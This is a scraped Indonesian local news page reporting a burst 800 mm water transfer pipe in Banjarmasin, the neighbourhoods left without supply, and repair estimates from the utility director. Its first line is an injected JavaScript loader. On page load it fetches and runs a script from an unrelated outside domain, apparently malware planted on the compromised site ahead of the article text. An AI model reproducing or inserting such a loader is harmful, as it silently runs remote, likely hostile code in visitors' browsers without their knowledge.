(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, BANJARMASIN – Pipa transfer HDPE milik PT PAM Bandarmasih berukuran 800 milimeter mengalami kebocoran di Jalan Pramuka IPA 2 Komplek PDAM Bandarmasih, Kamis (2/3/2023) dini hari.
Berdasarkan keterangan manajemen PAM Bandarmasih, kebocoran pipa transfer tersebut akan berdampak pada penghentian aliran distribusi air dari Booster Gerilya pada daerah Banjarmasin Selatan dan Utara.
“Tadi subuh sekitar jam 4 terjadi kebocoran pipa transfer diameter 800 milimeter, ini pipa yang mengirim air ke Banua Anyar termasuk Sungai Andai dan Booster Gerilya di Banjarmasin Selatan, jadi ada dua wilayah yang terganggu,” kata Direktur PT PAM Bandarmasih, Ir Yudha, Kamis (2/3/2023) pagi.
Baca juga: Pamit Bermain, Dua Bocah Perempuan Ditemukan Terbujur Kaku di Sungai Belitung
Daerah Banjarmasin Selatan yang terdampak antara lain, Jalan Gerilya, Jalan Basirih, Jalan Mantuil, Jalan Tatah Pamangkih, Jalan Tatah Belaying, Jalan Tatah Bangkal, Jalan Gubernur Subardjo, Jalan Kuin Kacil, Pulau Bromo, Gunung Meranti, Beruntung Jaya.
Kemudian wilayah di Jalan Arjuna, Sadewa, Krisna, Nakula dan sekitarnya, Pemurus Dalam dan sekitarnya, Tambikar Kanan, Banjar Indah Permai, Ramin, Sintuk, Kayu Kuku dan sekitarnya, Tri Sakti, Komplek Yuka, Banyiur, dan sebagian Kabupaten Banjar.
Kemudian untuk wilayah Banjarmasin Utara yang mengalami penghentian pasokan air itu Jalan Hasan Basri sebelah kanan dari jembatan S Parman sampai Jembatan Sungai Alalak
Saat ini, petugas PAM Bandarmasih masih berusah untuk memperbaiki kebocoran pipa transfer tersebut. Sementara itu, pemulihan distribusi air akan berlangsung secara bertahap setelah perbaikan selesai dilaksanakan.
“Proses pekerjaan diperkirakan selama 1 kali 24 jam, namun tim tetap berupaya bisa menyelesaikan secepat mungkin,” kata Ir Yudha saat meninjau lokasi kebocoran.
Sementara itu, untuk penyebab kebocoran dikarenakan karena tekanan yang tinggi.
Baca juga: Sidang Mantan Bupati HST Abdul Latif, Setoran Fee Proyek Kembali Mencuat
“Biasanya kami mengirim air ke wilayah Banua Anyar dan Gerilya ini tekanannya 4,9, jadi cukup tinggi, kira-kira inilah penyebabnya,” ungkap Yudha.
“Karena juga wilayahnya gembur atau rawa, ditambah tekanan yang kuat itu, tapi kawan-kawan lagi mempelajari penyebabnya,” tambahnya.
Pihaknya juga meminta maaf kepada pelanggan PAM Bandarmasih atas ketidaknyamanan atas adanya kebocoran pipa transfer yang berdampak pada pasokan air bersih ke rumah-rumah pelanggan.
Bagi pelanggan yang memerlukan air dengan mobil tangki bisa menghubungi Calla Center PAM Bandarmasih dinomor 0511-3252541 atau WhatsApp Center di nomor 0811-5151-46. (Kanalkalimantan.com/rizki)
Reporter : rizki
Editor : bie
KANALKALIMANTAN.COM, BANJARBARU - Pemko Banjarbaru menyelenggarakan acara penyerahan SK kenaikan pangkat PNS periode 1 Desember… Read More
KANALKALIMANTAN.COM, JAKARTA - Tim penyidik Komisi Pemberantasan Korupsi (KPK) menjadwalkan pemanggilan terhadap mantan Gubernur Kalimantan… Read More
KANALKALIMANTAN.COM, BANJARBARU – Penjabat Sementara (Pjs) Wali Kota Banjarbaru Dra Hj Nurliani MAP singgah ke… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kota (Pemko) Banjarbaru melalui Dinas Lingkungan Hidup (DLH) Kota Banjarbaru menggelar… Read More
KANALKALIMANTAN.COM, BANJARMASIN - Pengunduran diri Sahbirin Noor atau Paman Birin dari jabatan Gubernur Kalimantan Selatan… Read More
KANALKALIMANTAN.COM, BANJARBARU - Pemerintah Kabupaten Banjar menggelar kegiatan penyusunan dokumen Rencana Detail Tata Ruang (RDTR)… Read More
This website uses cookies.